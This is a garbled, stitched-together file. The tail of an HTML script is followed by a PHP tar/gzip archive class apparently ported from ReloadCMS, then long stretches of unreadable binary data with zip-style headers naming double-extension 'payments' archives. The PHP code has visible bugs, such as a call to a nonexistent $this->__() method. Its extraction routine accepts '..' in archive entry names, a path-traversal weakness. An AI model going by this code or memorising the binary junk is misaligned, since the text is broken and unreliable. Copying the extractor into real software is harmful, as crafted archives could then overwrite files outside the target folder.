			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK!��w�45dkj3p/payments 2025-08-01 09-00-13.xlsx.xlsx.tar.gznu�[�����yeP�۶m��$��� !�kCph�w�@�@pw��N�`�����>7���z�꽪3�?�U5�W5�\s�����=���������Ē�jo`j�n`k�n�dhea�5p�6�qt��r��X��@~V ���������^��9x98����<�s9���������
�?��[�B� #�a���ū�`�cx���8>*���fk���jm����~z�
Ė���`�M�F�9���eR��x�^������J.:>aJ8��P�����ƞQ�����}|&�:S5���c+D��Z3ˊ7�V�$엘b��x��ۇ�X�]$�&d$��Z�b���=������h��ɉ}}�}�=W���HY������[4B�]A�@�W�0Q�[�4>J*��5��1���e�O�q��� Dᨣ4�T}Z�i;Q�ݸ3�/�8�
��Z��^f)�E�?�8���|�f.�»���n�-�/�hb��	�l-5u��4��cT��sn.��*�ǂ)R2�b\����;�^A�,����s
�5\�x]�f:�,Oa~��I/�ΣH`X�Q}{c+v�?�!zĢ��{䁚�S�C2Mo(���
i�j3�6������-��i�;">O!#�΍d�E�\��
6Y��Z�݂i���M��� .�9
�fSr����Gt;%��h��C�t�{sZ��S���A�)N��S�n(�*Z��ƪY}�n����$w�j@b}�n�8�۫}��8�FP.+�����0c0M�$���E��>;jpȸ��H�x6p�1۸/rDp-8pU��ڹ�C5�W��V����G��<z�Պ�OǸ@�-
�P�?��''u>:	[��j啖��,c�����\`M�������+5R��YH=%sI��{#W|�䦐�3�d���+Z��=��L�{�_�G����M���>��"�����d�>���Ĕ��x�}&O:Y�ij�pDυA����"�.�Be5��:e2�O���%�~���l mz�0;I�����Ň�u
p��R��m� f�6:V������(��qK��5��z4P��`��x��Vb�����d}��W'��=�d	8��IFP��=��Ᏼ��4NS�Yb�\�q�0���ڛ)�9O��ki�3D��7���u�.n����"u�F��������0ld��[
���#�Z����<1�\KzPdw�,RD{z�0ә&8�kc���}	
P��F�ƹgVt��d���U�iO�-K�kF�{��5�&R
w*��Z^!�p�XE%2~�ݽ�9"-EU�#�*�ɼ�3�t�E#�W_��8�+���7x��gMR�TFE��'��|q�T��,�U�OBb�	&�j��ɾ�@ޚ篣���7�e�U�^Ns�"7c��=ƕ_A�������eʸı[��(�ʪo���P�O~�K�+�)O�3+m�Y�\gT ϶�m�;�|�(W���w��ʡ����P,�4{�Ȗ]N!���n����v���<��n���_��E+)t��.� 돘!MlsJR=���ٶ�fW�2��*pyt @��vS�����z��k��1���<<=ڪGV����D6]#�<���1���$?A�dS�ʊ-<@ʔ�Ou%0	z�,[��y�T��b��(�����t}V|�2���Y�R���~F�� c�o
EY(��AU1@R�ZIRA^�N���h�QiE���N��X�y�W��GR?K�nZu��	&�%w�-\D_ܘ{�|N�[9��Ȟ{IC���g��Rm�z;M��9'��N�-c�v}Vi~���د�,ڕ���):A� _�L?�ՂRυ��p���N�i�+<Oe�A���~E�s]��%�d��<���б�T|���znl��۔Br�@4{9������W��<4��|�?W���hflm���/�4���ۏT��ꫬ��$����1p��"k�%�J�;�mv�_+>�~u&�#0��mR�)힁���qI	-�6��`�n��8:Qjs?�‰>ͅ�'�R���%����YS���Û�4ך}.�ʫ*n��+E����#�c�J�;�T�������a}�}�<�7l���9��0�����U��?�l�0�2�¬ęr��w�" �A��ƴ�^����K�1gL��6bz@(��mZ�CM�x�TAF>��ճ�	�q�=��'�S�tڗ�.�ڟ�zQ�8�Wf8n	�(�45�����@KWf�����u�ǻ� ,۔4j��.鮵��h�n]�B8b=�d����4BH�u�IB0��Aӂq|�	ǢTW׌z+>}PK��e�lx=_�)�7����O#bG�b��⫴�$
Q�%��P
�����1��z����I�i?��|�zU���ũ+a��~�7#S(���$��e��Ny��"�Z�v!�ӵ����J�6�c�`,s9�&��qPd��'�V�d�:�-�4\Ey6��:^��h3s& �w���\��c!L^/�
�Vɧ��ir�6��(#]���O��/p��ߦ�ɳx�6�S��Ѣ(1h�㉢]1�^;%��A����r�و'�8�fr��(c�ꞌ�Nm�x�<U������W�n�IP��E8$�jH�+��Ҿf[D9Ie���:/�[]����NŐp�e��P��Wr)�d�#�Z����L��.��XC'�5$�\yĪ8z`�ծ��C���(��&*�[�F�brK��d�>o�T�0L\{`.��
�
>s";�y�]������6��&����޺%�-���>9��\�6C-�@v�#�@��7I'���
a4#je�1;���o�.�ʈL6���8��["�hk�(η�"���e���Q��"�F��u{a�
F0���|�*��r)�E��#i��m�B	H#��ʿS��	95�o,�}x_)WS��r��m����F���w�:�K��\Q�̸�s�����-�~>oNf�ķ2��j�C�17��߬w�-0��I�U]x-�����C�ru���ѡ�~4_���{���31pd�89i�Bg]E�G�iNJ��{s�!ja`N6?�b����0{�ʆe� �Fg&���6]��q@*���!�LvV�dIW�*

Æy�\o9���|e�"N0S����S{��'�5��,�i;��	N�+J��@�;nq�<�(J#�8綠��Sc��9U�,Sq�'/��1��u?��+r�����/f~��'y�`��>�*�G����h0��+U�;3��Z'�ڸ��,T�3��Py	@ڗ�bmXRa���-Sl����i�v��>u﵂2u�¬@<���^M
�.u�ǵ.M����ar ����À}�
���^�$[ƃ�� �2���k�/#���}�l!��{3{c#G{sS��~����ga�3|f���{���N;,J��c�zw��Ei�d1f���P���~���Nz�QQ�md�=����z��C�~8��AԚ%��'�53��?��:��{�2��ޫ���u�"�'-�ry�:����l���Pz]*�@�m/0�7.X����/c.�������*�1M�g�cr��M2��^�J7��3���oE����md?Gzm��:F/%k�Wy�$Z�0��`��m�C�kX�)�*�6��ZK�L,6�����
Z�.Êx��K�Ҙ;�X�%4��ӻ,4�uM�y⾳�P�������/uD�F�:�|X$q���x&��\��X�@��N�e�6��‰��ǙXIx��n*#NüB���Ap�dl���bɔ��Z��TEV���͞x�<�
�-OW��4��c��R�1|�n�T�R@�@�U�D����˨�E����E\���	��W�7��^oɻ��Z�{q(��2��x�s��2)�:
�>�7���^�Il�
�6"c$��(��|��'h^�8.T��04	��(*=��W�$3�%olLu�2���n�1�$����U*"�VhRq����5�p��D�u$X�i�h�6�e� ʂ�O��s�V<~%�Dy���Ǩ�g�:�Y�+\G�塩@��+��m�A֓6Ԕ4T��u�刈3�>X��}���ъK�jА�#�����"�31T8{O�q���3��
.�qp����Q��$��h�	?���a�Gw���K��!�AK߫m��BT�Ad$�B�)I�\��I,\[�y=	�Y1���1�iȾ8[�H�n��]�L�����p<���
Qa]e�_�q�V�3���%f
��|i�t��M�^�a~f�3J���ۋ�ϫ��eӼȇ�n
�u#�(E/*%X˂�,���|����"��|��&M"Ąz�&�8.�xc��&�dm!�i\!�R��B"���E�W̒��71��G8Wm�Y� �{?�AGI�q��3�/�W��b�_g�#UҾI�X�e+�wz��P0y�#�}�ร���ˈ��`g�6�)�s~�E���{�h,:��ش歀KLڝ}��".�S��I�X�IKd6d��-��o�B��b=���ʨ(3��>.v��=,�^kzv[UZd��XV7�跇�'��͸Z���c�X�`�7?�D�{ey����g��ѫ����������j:�#�z�-寺��_M޻���ѦKxߺF�;;�)qjf99�E�%I+&�S���v�rEmG�0i6܋'`�ޒX��K��,��T��}I�x�"|�s�Y��|w����\�!������r?�b#�sR�HU�*�k��=Vp�%�IWl��n�`��E�	�L�^�\�u�ߚ�2-n�NT?ӓ~���u�BN�p�FxQ��#>s�N]��Z1s�!�B�}Qb��|��^�o�$Ŝ��w����:]�Ap,�F��
���Cӻux��Q�8��&�'�7���NJٽ��:ܼL+�/8]v��!R��j�h)O;(�I}F����M�x>��6S�'� �9��O*��\�._4z�Ln%*,y6��I��ex0�6/�b�m.�#j�:A�Ɨ��X����v�Im�Վ�`;_W�|�n�/��>_���^�7"o�4*��\K��6Ŝ��._�y{gЍ�߯��a�g]�64u�
�+	@�ߑ�`fl���ǿ���$]�y>���+
WO}� d��4���K�J�㩺�*��vo�/|�V5��P-����)
¡��Q�R��	h���uo���i6j�x��*ί�{���W��ѹ�28�^�g53qURJn���{=��`�C����:��l~n"��*�*�YD�����Q#�p�ĸ���^�s��,&s��"&�J�����ԖAv��[�Q)Y�i�4�cwo	B<���C���~2�8o�(��I�jtGfpL���Z��J�鹄�u��Cg:�cF��[HQL��҆�`S'֋N=y?��Ϡ���=&�{�X�]�L)BA���O�Ch}�nj5Gc�1x2�	Ev��`�=�O�����'�%V?�)�)Q���{u]?{r�'��<�r3<i��
g�ھ�c��bǭ�Q!>s��Y����Q0��rb�2���۬;M��	N{�{�nG�V��˃͓�5�S
��X$���%��«��P���v�j58�E�茱��ۊUET,~c��B2h��抩��
/��6<kݸ$�h��z���n��j������m�b���
��\�?j��&6"p�S��k����{i�,1�)���14k��6-��}W��!z�p]3��M{��ó�‹0=%�%(�5FAZ�i�˂��^?�(qS�ι�k�j�m���A�&μ(ҫ���
�I��!a�Ч\W�	zg��x����:���qj*�	��q�G��o�hH]-Hy�	4��,͹���(mS'��Р�0f��.�g���Z6���e�Qj�I�j6��.C-%�UOb��>6(��+�4��[�L���c�� ��L�r�pwU}��>���r��a��߶����}+�f���C�H,D��!�S�L'�#�`ۗ�����,ttPm�!��c��ЄEԙ�g>-.
�7�<��
|%��c��:DΊ�Tӱ�B��R�8e�$�|a^����*��O��j�L{�=�ŋo&\<�)E0#���)%�!��B]W!Cc�b��7����9������-j@S-ܒrO;��Ȝd?����}������Q���Z�0�����&
���7E<�qK�Y�$`5f��6\�)6��r�
J�"��L�n	���].���p*��*d��Cd
���6��m
�59D�hܥ���̆��yQ%CwU���`T>>�1>;��=J�w��Fx㷪e{�m���(�Kq�6.
F�ưɝ�jy���^�xƅD��Rq���	ͭ�c�rDM�Q�ٮ�opAݒ":C�u�1�=��q;W�Y���olW��7ֳ��P䅍��0E��'��!8���иL�����}�Bg�fj[�.LG�?��y��5�z�������nऱ��b/f���$�ɉe���Mf9���K�~��,�~�K��Y0�x�^�V�%f�V!��qG��U�SU�.��b�t�ˠ��ގ���N54�X-/x�\��xg��YpzG�%%�"��zgd�l�G%cY����%@�s*�*�٤�z�If�qZ��ݖ�Nk~�e\zl�Ҽ�$D3㩡�:��=�t�	{S��Qd7�
���fښ:CO����;���o��#`e�?z��/���������_��pLX*l���Hݕ0d�n���5gˌm@��q��,&���F��-a�m":��F�R׺���% =�>�넯�9�^ܸ�<�,��Gٵ
���Lq�����wߜ$�Dn͆e���7��0�p����(����������~&�|���K�ᯭ��
�G�}#�w�_�?�=���k���3����w�_�_6�G��a�����?b���������g�a,����樂n�6������������������3K��,;�����=�&�`D
�����?����"[��&PK!�8v//45dkj3p/payments 2025-07-16 15-16-08.xlsx.xlsx.tar.gznu�[�����yeP\۶n�����	w���4�K�`��=@�	.	\�;�`�\��g�r���^��~���s��U�[U�c�9��e������i����iit�t��Y؀8-\\8]<-퀜.�N gw*.~v.Avn*n����K������׃	���<� � �?�a�<\��T\�;��t��p{��o�h�p�22�ő�|�L�!p��F�`g���t|]@�&>N��z@e�g�n.lً���J��ϐ���pY4�ͫ�u�!�g*��)�ϒ�-e��lܞ�{��[��39�
|rK���c�c�]Xcn*�1��u�6�Cwi&�<ǔ���C���.���E*eMNz�eh&]��q�5y|�3́&=��/D����Bɒ�2'�}َb�e��V"Ỵ+̄�E�&u������Q�Rn��I���2�\�5S q��u��M�n�X7�C���!�Ei�o�t*	���<�����%�A���,�+'񮧯�Zʕ��*0>� ��^�v��7����w
�E�M!�_�)3r5�|Z���HğK��;L�1��l5]��_�Ow.�9��<��"(��@�2,��@���ѝ���4��ws����Կ��2����S�4�N�\����^��I.R�	���%�
�����P�5��@j�W2W�:`@�[�+?���bC���>{&��US:%��LT�z�%u�ɝ�J�	o�� �$���n0�Z��!ƪmc�^ݶ��8_�jHjc�	t�W��BV�x�8V�=*;#��s8m�������W��B�4��
+��f$3������a����U]�K��^���Q	���#*�Q!}���#矁��9X����/A�|���-jͅ���s�;s���\h=D�Q�V��B�L�	rRNO�lZ����u�I��\%���C��|76�=�FO�cQ�f'����m����ũ�1��*�`ʫʾ�9U%/�<9X:l�ͤ����
���^S�:>�G��Uz��,D8j�J)�.;l��4K�
A�Ċ��̺�r��R��u�f�:V�ފ�����Qk��%��z<��� �	�ߵ�p����� YXeՇ=T�,��$+0P�
��Dz�WgiK:/pa�^�r�
�PC,GE��l5��O�

d��W��[�8��~��ɶ�A�^��i�!x�P۩o��$�:-MOq��&~���Sу��u�>C����l3�e���!���[ a�{	J�Hd`�ozń���Ery�O���
��H�~��L=�������P��Ę\&Ve�b�Twoc�d�FkY��r���S�t��V��@Z��$���!�9���)T�����~��R�9\(i���m�֝ے("�`��ፊ���0���
�ʅ=Q�]T�wv�œaB܏	>��b�؇��xǵs���G�anRX+��!^R������;|HN�˼��*N�TR�p��KT9�?n�tGT�������9}�շ��R�e�f.582�(��#<��{���7��p~�
v�E\Q��z���[e�a[$�ak�>FE���*����6���b����̬�����)���:2�@B9���M�Ҹ��ʦ$�����ԎQ!�6lB:+	�qq"/��7%����_c���N��ҁ�eى��aE���q���h�bR0�����㳔J��1���� ���:��$y�*�b{
�1�zRŒo(g��w�ݘ_Z�`Fcv[
,p݌\��رZ��;�R�~w�!�נ:�?��-���>c�hm5�ZiUۺ���3w���0����
���6,-�������5A�Ԛ>���̷� y�"��jb�ѓ϶Y?�����`L�� ��5���΢2�Me���~��o��c���Z�b�?�ɇ����s��u���Cmlhc�#�g���ك�b�F��z�
fM���v�׎@���ρ�^�� �zBe�4�-��50�m����~{�Nj��c��C��8�'�@�2B��/p��#..eN�e.��}x�5�2�3Moud,���Ț��JEdv�ԾuEX �e�9��(�%�lߐ���W��e|�ٹ��p����H�VM���4�#���sZ��~x��
`Pf %� �:�(�u�ԀDr��)6��t�Ɖ��>.|��c�X�(IӾ>��g½����ó,��O�)�<����xl��k7}j�9"u&�:W�̴,~h4�lL��FXv�h6F]2Ykӽm1j[2D8d?v`��L:�o|�E�`�
!��'
�jh����%�&҂z-3u�@��m	kz>_f��7�d��O+��cWT�k��}���EKs����6����W>g?�_��<���z%�c�rU��Lų+e�nF0'W"'���8źu����n�Ǘ�,�k�%�N���]����)�c٩�AecF�c;B<���r�zL.�
p�U��G��x�ߏ���RgJ.X�2��Ka��z	V8�+>���RIv�C����?���_ř��{�����SV��O5/D���d��'�nu�Ty�r�,��C!k��A2ǃ������–29�n2�9���D/�vj�s\=�uO1]!�(`1-ؒ -Q,��K�8�œ38���-H���b�FD��2���-�[5���Tw��a�6�2M�t�si� ��c�r�>�ҵ�=0�
���"f��yVKTs�tR�����Gf�
+���'6�k��&.@~���C�b�����_=�o<曣}Gp����Coj�~	me�,9l;������j��9j}���I�a%>A�@�	d���0���|��\B�7HZkE���҈V�� [d�.�=|��g�����1�Q��lHR��`�+j�#V��ϫ|��d��*)䗶R��6V��E+�u�)�FDAC����&T���}Qe7>mf<`��m�_kE{��W:��-���M�����^����B�a�M}���k��!᪰s�i������:��t�^�'���_8o�GrwhD�˖��4�e�V�����mV�k�H�?���x����;jihA�0%�F�W��!κ�
�Q.eZ��B�
l��ǀ|����`[�}X��%��,4gց*�QD�ڧ�5M8�,�r��ȶO�r���t��³v�0S<�W4񛹴n�d����㨬ԓ����&&��Ԏ�M&��҄�b�}3���Q��������`�\�7��!�.����%�Hʒ�}_��^�kV�y�d��:��;����n*���*H nt�(ݎ5&��)�:�1���ZHw%)�6�5�;�t�i���6	zCl����S�

�*�W����C�95Q����� �0߇���=N����5k�Æ\��޻�Z����=��m�Z�����a�_0����J�F׿���4aG�R{i���Jѿ�G,�+e�+�wq�v5�8'���"k\�l�X���y��:y&U.xV�����X�F~��5�`�2k�@C=�Y[�c�I�R�Z��B�XN�Աҧ��3[��F�5� p_�fv��Tm��u��Ԟ��Q��G�{���*���%���9���̾�5oM{Y�	=/1Zw2?�Dj��DA'K�q�~n<&�f�8��\�V߅��hU�ɲD��8n��#C��)h�n|����
P�9s~�#<��pB�%��mb�H�x�a��@:��3����pӨJ�4A��@W��d��6c2)���Cc~@q4�:��T�u"�"	��V�n&	[�~��O��
ʏ��2�Ѐ��4�\�j@�s#c&^���/�yX����)����܏���9rő
�J����Y6+m�V!��C�D\Χ$�	,��6PОB�����KN����@�e?�Q'�r6��2����PmG+%te�~Ĕ+�LlI�"0,K�����x�g#ðJV�&�e�	#��Qz��`c<�{���놽�h��5��G1��x�?)TU!k6}��1�u8�$,wfT�W�(�YV�QƉ�i�ů���EC�xc�m���~�>f�
��
D`�ul�X_�n�pI�"}���e�[jݗ��[xq8k�V�����"��.;!���q��z��h�9�`E�P%vb����3�W?\[.�}L�p��l���%uh�e�
�z�㪙��E��M�yVL��Z�K �H�:�fq-
��>^��&�d7Y���Z$��Dyh�"�,)_GпjiXO�Ʌ�v���]0�iܙ�ʞ��l�T�U��8�^❓��+'t��
